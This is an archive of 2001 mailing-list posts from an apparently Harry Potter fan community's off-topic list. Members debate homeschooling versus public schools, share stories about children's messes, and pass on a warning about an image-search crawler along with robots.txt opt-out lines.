situations I have heard of are parents who are fanatically religious 
and overprotective and want to teach their children a very narrow 
curriculum of subjects.

I can see the benefits of homeschooling; I love what both Amy and Rose 
said.  What about socialization?  Isn't it important for children to 
learn how to get along with their peers?  I always wondered how 
homeschooled children dealt with social situations as they got older.  
How do they date?  What is it like for them during their first year of 
college?  Is it hard to have jobs where supervisors expect certain 
hours after having such freedom and flexibility for so long?

I also have to defend schools a bit.  There are many different kinds 
of schools out there, and I am talking about public schools.  I teach 
in one.  We don't give grades or regular exams, our classes our often 
capped at smaller numbers (although we are having serious space issues 
right now which makes things very difficult), and we have a 
non-academic class called Advisory which is like a family group.  My 
Advisory and I talk about school and school issues and we also talk 
about very serious social issues; everything from rape to 
homosexuality to racism to people who are annoying on the subway.  The 
kids love the extra attention they get because they were never focused 
on like this before.  It is easy to get to know nearly every student 
in the school, even students who have never been in any of my classes 
because we have no more than 130 students at our site.  We teachers 
often have a good deal of freedom with designing our curriculums 
(sp?).

My point is that there are some alternative programs around that are 
much more flexible and attentive than your average public school, 
which is, IMO, like a combination jail/factory.  I'd like to hear more 
about homeschooling, though.  It sounds fun and rewarding the way it 
is described by Rose.

--jenny from ravenclaw *************




From saitaina at wizzards.net  Thu Sep 27 05:21:22 2001
From: saitaina at wizzards.net (Saitaina)
Date: Wed, 26 Sep 2001 22:21:22 -0700
Subject: [HPFGU-OTChatter] Re: Unsure About Homeschooling
References: <9ou443+9msk@eGroups.com>
Message-ID: <013801c14714$3f9482e0$984e28d1@oemcomputer>

I myself let this thread slid due to time problems but I have to now share my own story of school life.  I went to a small town highschool (well I went there when there was the problem so I'm not mentioning the big town highschool :) ) Anway, there were 50 kids in my class at this time, not a lot compared to most high schools and you would think with such small numbers they would be more able to teach the kids.

Unfortunatly that is not true for my high school and a great deal of high schools.  I was one of the kids that got lost in the shuffle if you will.  I was already behind in my studies due to other issues but they didn't care.  I was expected to keep up with everything despite my 6th grade math level and without help beyond SED math classes.  Now while this doesn't sound bad, it was.  I never got my math caught up to par and couldn't take the science classes I needed to graduate.  The rest of my studies started to suffer and it grew to the point where I just wouldn't attend class not seeing the full purpose of going if I was just going to fail.

Now this was about my sophmore year when the school FINALLY caught on that I wasn't attending nor doing any work.  They gave me two options, 1. I could get my act together and attend class or 2. I could spend my days in the SED room.  Now remember this is a small town, kids KNOW what classes you take.  I myself have already had several social issues with my classmates being over weight and being at a lower social level then they were so being in the 'retarded' classes all day wasn't an option, but neither was going to class just to recive F's because I couldn't get the help I needed.  My mother then decided to take me out of school and homeschool me.  Well what we didn't know is the school get's money for each student, but MORE for each SED student.  Riddle High was not about to let one of their cash cows wonder away from them.

It took one year (yes I failed sophmore year and had to repeat during all this) and a threatening lawyer to get me out of school for homeschooling.  By the time this happened I was 16 and didn't NEED the homeschooling.  I got my GED a week after they let go of me with the highest scores (save math) in my GED graduating class.  Now I could have got my high school diploma if only the school had tried to help me instead of hinder me.  This is why my children will not be attending school further then elm.  I support homeschooling because the kids get the help they need and deserve instead of being lost.

Socialization is a big issue, but it shouldnt' be.  I myself attended both public and private schools and I still can't relate to people my own age.  My own emotional growth was hindered and that caused my social skills to be hindered.  Children are resiliant and if they dont' attend school, big deal, they can make friends with a stump if you let em.  Take homeschoolers to a park, or to a friends house where there are kids.  They'll make friends in no time.

Dating with a homeschooler is also not that real of an issue.  Dating at school is the issue but that's for another time.

Anyway, just my thoughts and sharing story.

Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction


[Non-text portions of this message have been removed]




From dfrankiswork at netscape.net  Thu Sep 27 08:18:14 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Thu, 27 Sep 2001 08:18:14 -0000
Subject: Unschooling 
In-Reply-To: <9ot32d+107ab@eGroups.com>
Message-ID: <9ounc6+hh5d@eGroups.com>

Amy:
<description of 'knowledge-centred' educational revolution snipped>
> 
> Well, I could go on like this all day and still only give the 
barest 
> of explanations; I've been thinking about these issues for years.  
See 
> the writings of John Holt for a more vivid description than I could 
> give 

I'm out of my depth in the educational issues (one of the reasons I 
prefer to let schools get on with it) but...

1. It strikes me that there is a distinction between the educational 
approach, and the issue of whether you want to delegate its 
implementation. (Jenny has touched on this now)  Hs-ing may be the 
only feasible way to implement un-schooling in today's situation, but 
does it need to be that way?

2. Although it's hard to be sure, it feels like there would have to 
be a substantial shift in attitudes on both sides of the Atlantic, 
because un-schooling requires more resources (think of it as adults 
in education per child, or as average 'class' size).  Do we want to 
give that much of our lives to educating our children?  I think it is 
all right to say 'no'.  Obviously the benefits might be 
correspondingly huge, but the choice is there.

To set this in context, in 1997 Tony Blair made education the top 
priority of his election campaign.  The only specific pledge he gave 
was to reduce all class sizes in primary (or it may have been under 
age 7) school to 30 or less (many were just over, a few up to 40).  
It was a fairly titanic struggle just to do that, though it was more 
or less achieved.  Over 30 was generally regarded as unacceptable, 40 
is worth a 'this is scandalous' newspaper story.

David, who never shouts 'leave me alone, I have a life too!' at his 
kids - because his wife gets it in first.




From aiz24 at hotmail.com  Thu Sep 27 10:35:03 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 27 Sep 2001 10:35:03 -0000
Subject: Unsure About Homeschooling
In-Reply-To: <9ou26d+sn3v@eGroups.com>
Message-ID: <9ouvcn+f7gs@eGroups.com>

Ebony wrote:
 
> What do we do with the other 90% of the kids whose parents can not 
> (or in many cases will not) feasibly home school their children?

The same thing we do now.  They go to school--private if they want to 
and can afford it, public if not.  

I was never homeschooled, BTW, except in the sense that we all learn 
at home (e.g. I learned to walk, talk, read, print, use a fellytone, 
cook, draw, do crossword puzzles, garden, pray, read music, sing in 
harmony, deal with house emergencies, ride a bicycle, etc. from my 
parents or sheer immersion in the world, not from school).  I went to 
public school through 12th grade and had some wonderful educational 
experiences, some bad.  I had some good socialization there, some 
bad.

Jenny's students are extraordinarily lucky, not only to have Jenny as 
a teacher but to have such a thing as Advisory at all; I had something 
like that in school, but only because a very devoted teacher created a 
Friday-afternoon seminar on his own time and without any recognition 
or support from the school (and it was only for a few hand-picked 
students, not at all something you could do if you paid any attention 
to fairness . . .).  It was the best part of my education, hands-down, 
and it was a vital part of my social life/social education as well.  
Most students have nothing like this; it goes against the grain of 
most US public, even private, education.  There are many kinds of 
socialization in schools, but a small group led by a loving teacher in 
serious conversation about issues that the kids themselves identify as 
crucial is rarely one of them, more's the pity.

As long as there are people around, there will be opportunities for 
socialization.  I don't worry about that aspect of homeschooling at 
all.

Amy




From aiz24 at hotmail.com  Thu Sep 27 10:53:28 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 27 Sep 2001 10:53:28 -0000
Subject: Unschooling
In-Reply-To: <9ounc6+hh5d@eGroups.com>
Message-ID: <9ov0f8+ofb2@eGroups.com>

> Hs-ing may be the 
> only feasible way to implement un-schooling in today's situation, 
but 
> does it need to be that way?

No, and I don't think it would take more resources to have an 
unschooling approach with everyone, just a very different way to 
organize society.  Instead of spending so much time in classrooms, 
kids would work with whoever in the area can teach them what they are 
learning.  A "school" would be a mix of workshops, factories, 
libraries, classrooms, laboratories, etc. . . i.e., the town would 
be the classroom.

<strains of "Imagine" fill cyberspace, the Death Eaters begin to sway 
. . .>

Amy




From meboriqua at aol.com  Thu Sep 27 12:55:27 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Thu, 27 Sep 2001 12:55:27 -0000
Subject: Unschooling
In-Reply-To: <9ov0f8+ofb2@eGroups.com>
Message-ID: <9ov7jv+i2tr@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
 
> No, and I don't think it would take more resources to have an 
> unschooling approach with everyone, just a very different way to 
> organize society.  Instead of spending so much time in classrooms, 
> kids would work with whoever in the area can teach them what they 
are learning.  A "school" would be a mix of workshops, factories, 
libraries, classrooms, laboratories, etc. . . i.e., the town would 
be the classroom.>

I agree.  School can and should be so much more than just students 
suffering through the purely academic subjects like they do now.  Even 
though I like my school, there are some very big problems with it (and 
the system as a whole).  I think all schools should include mediation, 
conflict resolution and anger management classes as part of every 
student's required classes.  I think class trips should be encouraged 
and should happen no less than once a month, but organizing a trip and 
getting permission can be a hassle that turns off many a teacher.  
Art, music and gym classes have dwindled and with our new budget cuts, 
after school creative programs were the first to go.  "Give them more 
reading and writing!" cry the politicians and the administrators, but 
they don't get it all.  Many classrooms in NYC do not have adequate 
resources as it is, but the city itself sure does.  There are special 
museum and theater programs that cater to students' attention spans 
and wallets - how is that not considered getting an education?  It 
baffles me.

What Amy said is the way all schools should be, but I can't say that 
I'd turn to Hunts Point in the Bronx for the community support I'd 
want for my students.  They'd sure learn a lot about prostitution, 
though.

--jenny from ravenclaw, who is still blushing at the nice things Amy 
said about her in another post 
**************************************************




From dfrankiswork at netscape.net  Thu Sep 27 13:09:52 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Thu, 27 Sep 2001 13:09:52 -0000
Subject: A.C.R.O.N.Y.M.S.
Message-ID: <9ov8f0+thkt@eGroups.com>

These usually mean something, don't they?  Everyone knows what 
lollipops are, or what a crab is.

So what is a flirtiac?

answers on a postcard, please

David




From inviziblegirl at hotmail.com  Thu Sep 27 13:21:45 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Thu, 27 Sep 2001 09:21:45 -0400
Subject: [HPFGU-OTChatter] Voldemort and Exam
Message-ID: <F148YrvyAJYVZl9e85q00009fbc@hotmail.com>


>From: Nethilia De Lobo <nethilia at yahoo.com>
>
>Darn you all, I now have to Filk this.
>
>
>Vol-de-mort (to the tune of Kumbaya)
>Dedicated to Amber and Amy Z, because they started
>this. =P

<snip>

I LOVED this! *grins* Cool filk Nethilia... *starts humming Vol-de-mort*

Er, oh no, a one liner. Um, hm, oh wait! Guess what? I passed my Weblogic 
exam yesterday! Hurrah! That means I'm allowed to stop reading horribly 
boring technical manuals and work on a group project. My profound relief 
knows no bounds...

~Amber, the Relieved

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Make me sad, make me mad, make me feel alright?"
- Serial Experiments Lain


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From blpurdom at yahoo.com  Thu Sep 27 13:47:58 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 27 Sep 2001 13:47:58 -0000
Subject: Home/Unschooling
In-Reply-To: <9ov7jv+i2tr@eGroups.com>
Message-ID: <9ovame+bi6m@eGroups.com>

I've been following this thread with interest. My husband and I are 
trying to decide what to do with our son next year and it will 
probably be years before we know whether we have made the right 
decision.  Here's the situation:

The school our kids currently attent is K-8, divided between two 
buildings, the Martin Building and the Bache Building.  There is one 
principal for the school but it thus effectively functions as two 
separate schools: a primary school (K-4 in the Martin Building) and a 
middle school (5-8 in the Bache Building).  The primary school is 
very good, with relatively small classes and dedicated teachers, well-
equipped facilities and a wonderful after-school program where my 
kids get to meet and play with kids from other grades/classes, 
instead of just being exposed to the same 25 children all the time.  
Both of our kids go once a week to the Mentally Gifted program; the 
MG teacher is sharp and imaginative and the MG classes are no more 
than 15 kids.  It is a great experience for them.

About a mile from our house there is a school called Masterman 
(grades 5-12) which is for the most academically-advanced kids in the 
city (with a caveat).  Entrance is in three grade 5, 7 and 9 only.  
Every teacher our son has had has said to us, "You're going to try to 
get him into Masterman, I hope?"  We have seen what some of the 5-8 
classes are like in the Bache Building; large, unruly, the teachers 
seem to have to spend all of their time on discipline, etc.  You know 
the drill.  Picture some of the worst public high school scenarios 
you can, then scale the players down to middle-school size.

Thus we have several problems: the idea of sending my son to the 
Bache Building terrifies me.  He is bright and sensitive and trusting 
and not terribly adept socially.  Yet he has fears about leaving the 
school where he has been since the age of four (they have pre-K) and 
has said more than once recently that he doesn't want to leave for 
fifth grade.  Another problem is that although he would probably 
qualify for Masterman without a hitch, they have a lottery system for 
admission.  All students who fulfill the minimum requirements in 
terms of grades, standardized test scores and good attendance records 
have their names put into the lottery, and they start pulling names 
until all of the slots are filled.  It has always been my opinion 
that if you have 100 qualified kids, you make room for 100 kids, but 
the fact remains that this takes money.  So even if we sell him on 
leaving his current school, he might not make the lottery, and then 
we have to figure out where to put him.

There is one other public school that is an option, a good K-8 
downtown, about 20 blocks from our house.  But we would have to apply 
as a family living outside the residence area for the school, always 
a dicey affair, as there may not be enough slots.  If we couldn't get 
him into Masterman or this other school and took him out of Bache-
Martin, that would leave two options: private school (we just can't 
afford it) and home-schooling.  If he didn't have special education 
needs, we might possibly consider the more-affordable local parish 
school, but he probably wouldn't cope with a) the on-grade-level 
curriculum (no advanced work) and b) the strict discipline.  (We 
considered the parish school for pre-K, and because he was being a 
typical rambunctious four-year-old during the interview with the 
headmistress, she wanted to admit him on "probation."  We walked out 
and forfeited the $40 application fee we'd already paid.)

Since I am in architecture school for the foreseeable future, I could 
conceivably do home-schooling with him and ask for permission from my 
professors to let him tag along with me when I have classes.  
However, I worry about having the time to dedicate to formulating an 
educational plan for him and seeing it through when I am trying to 
educate myself in a discipline that includes art, engineering, 
business, etc.  I probably couldn't take him with me when we go to 
construction sites that require hard hats.  There are so many 
problems...

So far we are taking the approach of hoping very, very hard that he 
makes the lottery, but we know that with less than a year to go we 
should be putting contingency plans in place.  The very good side of 
home-schooling for grades 5-8 that I can see is that during those 
four years he would not have his primary influence be his peers.  I 
remember those years in school, and they were a nightmare.  Even if 
he goes to Masterman, I will be on tenterhooks every day worrying 
about him being surrounded by other kids in this age range, even such 
smart kids.

I'm done venting.  Oh, and stop poking me, Al...I'm getting back to 
work coding the ToGI file...

--Barb

Get Psyched Out!

http://schoogle.com/authorLinks/Barb/
http://groups.yahoo.com/group/HP_Psych





From gypsycaine at yahoo.com  Thu Sep 27 13:50:30 2001
From: gypsycaine at yahoo.com (gypsycaine at yahoo.com)
Date: Thu, 27 Sep 2001 13:50:30 -0000
Subject: A very scarey thought....
Message-ID: <9ovar6+loo3@eGroups.com>

NOTICE!!!! PicSearch

I noticed that a company called Picsearch had spidered my site with a 
picture stealing robot. I checked out the site, and I was shocked to 
see so many graphics obviously taken from many of the tarot websites 
I know of. Today they had been busy attempting to steal mine. 
Once taken, these pictures are then made available to anyone who 
wants them. There is a handy search engine. If you search 
under 'tarot', it becomes painfully apparent that they have been very 
busy indeed. Many of these pics are company logos! 
I am aware that many of you spend hours and hours scanning tarot 
decks and creating graphics for your sites. I am also aware that many 
of you are artists with your works published on the web. 
For those of you who are sensitive to others using your scans and 
pics, please go to this website and make sure they aren't listed. I 
recognized many of the pictures there. 
If you do find your pictures, they offer a method of requesting 
removal. I am not sure if they follow through on requests or not. I 
just found this site today.
If you want to try avoid any further picture nabbing, the PicSearch 
website says to create a 'robot.txt' file and place it in your main 
web directory. 
They say it needs to include two lines:
User-agent: psbot
Disallow: /
Do not allow any line spaces between, above or below these two lines. 
This will stop the PicSearch robot from indexing your site.
If you would like more control over the other robots spidering your 
site, there are plenty of tutorials out on the web. Just search 
under 'create robot.txt'.
On the other hand... PicSearch does include a link back to the page 
they found the graphic on. If you are not sensitive to others using 
your graphics, it has been pointed out to me that this could be 
considered free additional advertising.
I thought some of you might like this information so you could at 
least make the choice for yourselves.
Blessings - Dawn

http://www.picsearch.com 


I copied this message because it was scary that anyone could have the 
pictures that you worked so hard on (esp. Sterling's and company!).  
In the mix is a huge batch of personal pictures, too.

I hope they haven't snagged anyone's artwork!

Dee




From michelleapostolides at lineone.net  Thu Sep 27 17:39:13 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Thu, 27 Sep 2001 18:39:13 +0100
Subject: Chat
Message-ID: <010801c1477b$5c428f60$5040063e@tmeltcds>

Christian and I are in chat if you want to join us. 

18.39 UK time 

Michelle




From ebonyink at hotmail.com  Thu Sep 27 18:45:55 2001
From: ebonyink at hotmail.com (Ebony)
Date: Thu, 27 Sep 2001 18:45:55 -0000
Subject: Unsure About Homeschooling
In-Reply-To: <9ouvcn+f7gs@eGroups.com>
Message-ID: <9ovs53+p3el@eGroups.com>

Me:
> > What do we do with the other 90% of the kids whose parents can 
not (or in many cases will not) feasibly home school their children?

Amy Z.:
> The same thing we do now.  They go to school--private if they want 
to and can afford it, public if not.  


*Exactly.*

This is the #1 thing that bothers me about homeschooling.  In most 
cases, home or "un" schoolers don't come from at-risk homes.  

It is a great personal decision for parents and one that I respect.  
I used to wonder if I'd homeschool my own unborn in the future for at 
least a period of time (not unschooling, sorry!).  Yanking kids with 
involved, caring parents out of public education is not a panacea for 
ailing schools, though.

I spoke of dating/being related to homeschoolers.  I've also taught 
former homeschoolers.  Some are extremely bright and their home 
education was far superior to what they could have gotten in a public 
school.

BUT--others could barely read, write, or compute.  *That* is the dark 
side of unschooling that no one talks about.  And then, parents send 
these kids back to the Horrible Schools to fix their mistakes.  I've 
seen this.  I've worked with these poor kids.

And I'm sorry, but to be quite honest, the handful of homeschoolers 
I've known in personal life have had at least a few socialization 
issues when they entered high school/college/the workplace.  To be 
sure, they were all homeschooled between 5-15 years ago.  Perhaps 
this could have been rectified in the manner that today's 
homeschooling parents employ--through play groups, extracurricular 
activities, and even arranging to take certain classes with the local 
school district.  

As a TAGged kid who struggled through major social angst from K-5, I 
am SO glad that my stay-at-home mom made the decision to send me to 
school anyway.  Even when things were the worst, she told me I had to 
tough it out... that "you just can't run away from a problematic 
situation, honey."  It was good for me.  I learned a great deal about 
life and human nature.  And even though I went to school, I was 
*still* homeschooled.  Mama taught us music theory, home ec, arts and 
crafts, history, sex education, and about a zillion other things 
during our evenings, vacations, and summers.  I got a chance to 
explore everything I wanted to... I wrote two novels, started a non-
profit organization, and cycled through three businesses.  All with 
my mother's help.  All while in public school.

Instead of homeschooling us, my mother went and volunteered in the 
public schools almost the second my baby sister was old enough to 
attend school.  She's been there a decade and a half.  She's still 
there, just a paid teacher's aide now.  She also runs an after school 
program.  I think a good chunk of Detroit's youth and young adults 
calls her "mom"... I keep meeting people everywhere who know her. 

Having us in public school was healthier for her too.  My cousin (mom 
of the two homeschoolers) had no time for herself, really... my 
cousins are good kids, but she was really stressed out.  But even 
working at the school 4+ hours every day, Mom still had time for 
herself, time for chores, time to cook dinner, time to sew and start 
her own business.

The same things that make homeschooling and unschooling work could so 
very easily be applied in public and private schools if we are 
willing to make education a priority in our society.  Many of the 
good points of individualized education ARE being applied in many 
private and public schools.

I'm like my mom, I guess.  I care about whether or not all kids in 
our society are learning, not just those who because of excellent 
parenting were bound to succeed anyway.

(Disclaimer:  Like Jenny, I am a public high school teacher.  And an 
increasingly active member of the Evil Education Union (also known as 
the NEA/AFT).)
 
--Ebony AKA AngieJ




From pengolodh_sc at yahoo.no  Thu Sep 27 19:25:10 2001
From: pengolodh_sc at yahoo.no (pengolodh_sc at yahoo.no)
Date: Thu, 27 Sep 2001 19:25:10 -0000
Subject: First snow
Message-ID: <9ovuem+fj1f@eGroups.com>

Had the weather-reoprt just now.  At home (whence I come - net where 
I am right now), they ahd the first snowfall today.  It was enough 
snow to build big snowmen and fight snowballl-wars.  It is now only 
eight months until the snowing season is over....

Best regards
Christian Stub?




From macloudt at yahoo.co.uk  Thu Sep 27 20:31:43 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Thu, 27 Sep 2001 20:31:43 -0000
Subject: I will never have Desitin in my house again! (LONG)
In-Reply-To: <9otmuh+ikrf@eGroups.com>
Message-ID: <9p02bf+621d@eGroups.com>

--- In HPFGU-OTChatter at y..., "Jennifer Piersol" <jenP_97 at y...> wrote:
> there was desitin EVERYWHERE.  For those of you who don't have kids 
> and don't remember the stuff from when you were little, Desitin is 
> that sticky fish-oil-based white cream used to soothe diaper 
rash... 
> and it has a very distinctive smell

*snort*

Oh, Jen, the same thing happened to me some years ago.  Here the 
stuff's called zinc and caster oil cream, and I left a full tub of it 
in my daughter's room overnight, unaware that she was able to climb 
out of her bed!  Beth knew it was bum cream, so...ALL her teddies had 
oily bums, the black rocking horse was dappled, and it took me a week 
to get the slime out of her hair (she covered herself the way Ginger 
did).  So don't worry, you're not alone...but at least Beth kept her 
nappy on.  Good thing, as she had carpet in her bedroom!

Tell you what, grab a glass of Aussie chardonnay and join me for a 
good giggle, OK? :)

Mary Ann
(who now keeps any creams WELL out of little hands' reach!!)




From aiz24 at hotmail.com  Thu Sep 27 21:07:32 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 27 Sep 2001 21:07:32 -0000
Subject: I will never have Desitin in my house again! (LONG)
In-Reply-To: <9otmuh+ikrf@eGroups.com>
Message-ID: <9p04ek+3gvf@eGroups.com>

I know if I were a mom I'd be crying, but instead I laughed myself 
sick at this and the horror-story follow-ups.  All except the 
Vaseline, which I think is disgusting and wouldn't allow in my house 
if I had my druthers.  What's it good for?  OK, don't answer that, 
but I think it's straight out of hell.  If it gets on the drapes and 
such, I don't imagine you can do anything but burn them (and they'll 
go up like gasoline).

The baby powder, though . . . and the little wet footprints . . . 
ROTFL!  You all can gloat one day when I write in weeping about how 
my little angel sprinkled cocoa powder all over the carpet.

Amy




From ChantelleALM at yahoo.com  Fri Sep 28 00:24:46 2001
From: ChantelleALM at yahoo.com (Chantelle McLaren)
Date: Thu, 27 Sep 2001 20:24:46 -0400 (EDT)
Subject: Sacrifice...
In-Reply-To: <1001427362.410.96728.l10@yahoogroups.com>
Message-ID: <20010928002446.8648.qmail@web11206.mail.yahoo.com>

Re: Sacrifice...


>ROTFL!
>
>:Voldemort, Crabbe, Goyle, Malfoy, Macnair, etc., each with an arm 
>around the next, sway gently back and forth, singing:
>
>Someone's crying, Lord, Kumbaya . . . 
>
>Someone's screaming, Lord . . .
>
>Someone's writhing, Lord . . .
>
>Amy Z
>really truly going back to bed now

You know whats just pants... I can actualy picture this in my mind! lol,
too funny! Simply mad!

Chantelle (who is taking uk slanguage lessons from a briliant friend!)

=====
"Roses are red, violets are blue, honey is sweet, but not as sweet as you"   ____________________________________________________________Want to make friends in Europe and around the world? Then join my yahoo group!http://groups.yahoo.com/group/European_Friends

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From rainy_lilac at yahoo.com  Fri Sep 28 00:21:28 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Fri, 28 Sep 2001 00:21:28 -0000
Subject: Unsure About Homeschooling
In-Reply-To: <9ovs53+p3el@eGroups.com>
Message-ID: <9p0fq8+nkbd@eGroups.com>

--- In HPFGU-OTChatter at y..., "Ebony" <ebonyink at h...> wrote:
> BUT--others could barely read, write, or compute.  *That* is the 
dark 
> side of unschooling that no one talks about.  And then, parents 
send 
> these kids back to the Horrible Schools to fix their mistakes.  
I've 
> seen this.  I've worked with these poor kids.


I used to teach at an "alternative" high school in Vermont, a 
boarding school which prides itself on havign a great arts program 
and no football team. :-)  It was a wonderful place to work, and I 
loved the community. It was also exactly the kind of school a lot of 
parents who were previously homeschooling their kids approved of. 
Thus, I had many, many home schooled students.

Often these kids were very bright and creative, with many great 
qualities, but I felt that in almost every case they had big, big 
problems which I felt came right out of the homeschooling process. 
Big bald patches in their knowledge, little exposure to different 
ways of life or new ideas, poor social skills.

The big problem that I saw again and again (and had to labor hard to 
fix)was simply a lack of intellectual independence. They were 
accustomed to the constant attention and guidance of their often very 
anxious parents ("Let me show you how to do that Merlin! Here's how 
we hold the brush... And here's the paper...") and were helpless to 
work on their own and figure things out for themselves. 

I thought the parents meant well and had very strong convictions, but 
they effectively did TOO MUCH for their poor kids, and overwhelmed 
them with excessive direction. It took me forever to teach little 
Merlin how to look up a word in the dictionary without me keeping him 
company while he did it. It wasn't his fault-- that's just what his 
mother always did. She guided him through EVERYTHING.

One good thing about going to school is that it gives kids a chnace 
to get away from their parents and slowly learn how to function on 
their own.

My two bits....


Suzanne




From ChantelleALM at yahoo.com  Fri Sep 28 01:15:26 2001
From: ChantelleALM at yahoo.com (Chantelle McLaren)
Date: Thu, 27 Sep 2001 21:15:26 -0400 (EDT)
Subject: first snow
In-Reply-To: <1001636688.2006.86059.m4@yahoogroups.com>
Message-ID: <20010928011526.34425.qmail@web11205.mail.yahoo.com>

Subject: First snow

>Had the weather-reoprt just now.  At home (whence I come - net where 
>I am right now), they ahd the first snowfall today.  It was enough 
>snow to build big snowmen and fight snowballl-wars.  It is now only 
>eight months until the snowing season is over....
>Best regards
>Christian Stub

I take it by your name and your email addy ending in .no you are from
norway? Ah you got snow? LOL! haha! :p actualy we had a mild frost last
night :( snows a comming soon here too, our weather is about the same as
Oslo. Probably more like Chopenhagan. Anyway I love winter! Northern
Ontario is great if you love winter! Some day I want to live in one of the
Scandinavian countries. I would probably go to Finnland cause I have
family there!

Chantelle (from VERY northern part of Ontario)


=====
"Roses are red, violets are blue, honey is sweet, but not as sweet as you"   ____________________________________________________________Want to make friends in Europe and around the world? Then join my yahoo group!http://groups.yahoo.com/group/European_Friends

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From ChantelleALM at yahoo.com  Fri Sep 28 01:32:02 2001
From: ChantelleALM at yahoo.com (Chantelle McLaren)
Date: Thu, 27 Sep 2001 21:32:02 -0400 (EDT)
Subject: Messes kids make...
In-Reply-To: <1001545446.1354.94279.m5@yahoogroups.com>
Message-ID: <20010928013202.36096.qmail@web11205.mail.yahoo.com>

I remember this from when I was 3 and a half or so. (I was less then 4 and
a half cause it was in my grandparents home in S. Ontario) 

I wanted to make playdoh so I got a big bowl and mixed a big bag of flour,
a juice jug full of water, a bag of suger and a container full of instant
coffe. You can emagin the mess... lol!

Oh did I mention my grandmother's house is always neat as a pin and must
be "spick and span"? giggle! :p (Good thing my granmother loves me so
much!!!) 

We laugh about this now :D
I may not be making messes like the playdoh exparement, but I am not much
cleaner, but my grandmother says I am the only one in the family who she
dosnt mind if they are a bit messy. (wonder if all my hart operations and
what not had something to do with it.) Ah oh well! 


Chantelle

=====
"Roses are red, violets are blue, honey is sweet, but not as sweet as you"   ____________________________________________________________Want to make friends in Europe and around the world? Then join my yahoo group!http://groups.yahoo.com/group/European_Friends

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From witchwanda2002 at yahoo.com  Fri Sep 28 01:54:46 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Thu, 27 Sep 2001 18:54:46 -0700 (PDT)
Subject: [HPFGU-OTChatter] Messes kids make...
In-Reply-To: <20010928013202.36096.qmail@web11205.mail.yahoo.com>
Message-ID: <20010928015446.12501.qmail@web13709.mail.yahoo.com>

Anybody with kids of all ages, will always find a mess
here and there! My boys are in Middle School(6th and
7th grades), and they still make a mess! My husband is
the big kid of the house, and he still makes a mess!
That is why I call them my 3 stooges! 
You had to have heart surgery? My William is 14, and
he will be facing another heart surgery. He had to
have a bypass at 2 days old. He was missing the valve
on the right ventricule and a section of the pulmonary
artery to that valve. He was what they call a blue
baby because oxygenated blood went to the skin and the
whole body turned a very dark blue, darker than Navy
Blue. He has had 3 open heart operations. His heart
condition is called Tetrology of Fallot with Pulmonary
Artersia. Not an easy codition to say! I had to learn
alot about the heart! Thank goodness for your
Grandmother!:D It is an emotionally rollercoaster!
Hope everything is all right! Don't worry about
messes, life would get boring, think of all the fun it
is making from scratch Christmas Cookies! Now, it is
Halloween Cookies!!!!!!:D

Wanda the Witch of Revere, Massachusetts and Her Merry
Band of Muggles aka Her 3 Stooges
 
--- Chantelle McLaren <ChantelleALM at yahoo.com> wrote:
> I remember this from when I was 3 and a half or so.
> (I was less then 4 and
> a half cause it was in my grandparents home in S.
> Ontario) 
> 
> I wanted to make playdoh so I got a big bowl and
> mixed a big bag of flour,
> a juice jug full of water, a bag of suger and a
> container full of instant
> coffe. You can emagin the mess... lol!
> 
> Oh did I mention my grandmother's house is always
> neat as a pin and must
> be "spick and span"? giggle! :p (Good thing my
> granmother loves me so
> much!!!) 
> 
> We laugh about this now :D
> I may not be making messes like the playdoh
> exparement, but I am not much
> cleaner, but my grandmother says I am the only one
> in the family who she
> dosnt mind if they are a bit messy. (wonder if all
> my hart operations and
> what not had something to do with it.) Ah oh well! 
> 
> 
> Chantelle
> 
> =====
> "Roses are red, violets are blue, honey is sweet,
> but not as sweet as you"  
>
____________________________________________________________Want
> to make friends in Europe and around the world? Then
> join my yahoo
> group!http://groups.yahoo.com/group/European_Friends
> 
>
_______________________________________________________
> Do You Yahoo!?
> Get your free @yahoo.ca address at
> http://mail.yahoo.ca
> 


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From ChantelleALM at yahoo.com  Fri Sep 28 02:04:33 2001
From: ChantelleALM at yahoo.com (Chantelle McLaren)
Date: Thu, 27 Sep 2001 22:04:33 -0400 (EDT)
Subject: I'm Back & Baby Names
In-Reply-To: <1001501950.680.26393.l10@yahoogroups.com>
Message-ID: <20010928020433.39919.qmail@web11207.mail.yahoo.com>

Hmm I know it will be a while before I have kids... but these are the
names I would pick

Girls: Emma, Samantha, Ginny, (hehe ok thast my HP plug) 

Boy: Andrew, Connor, 



Chantelle

=====
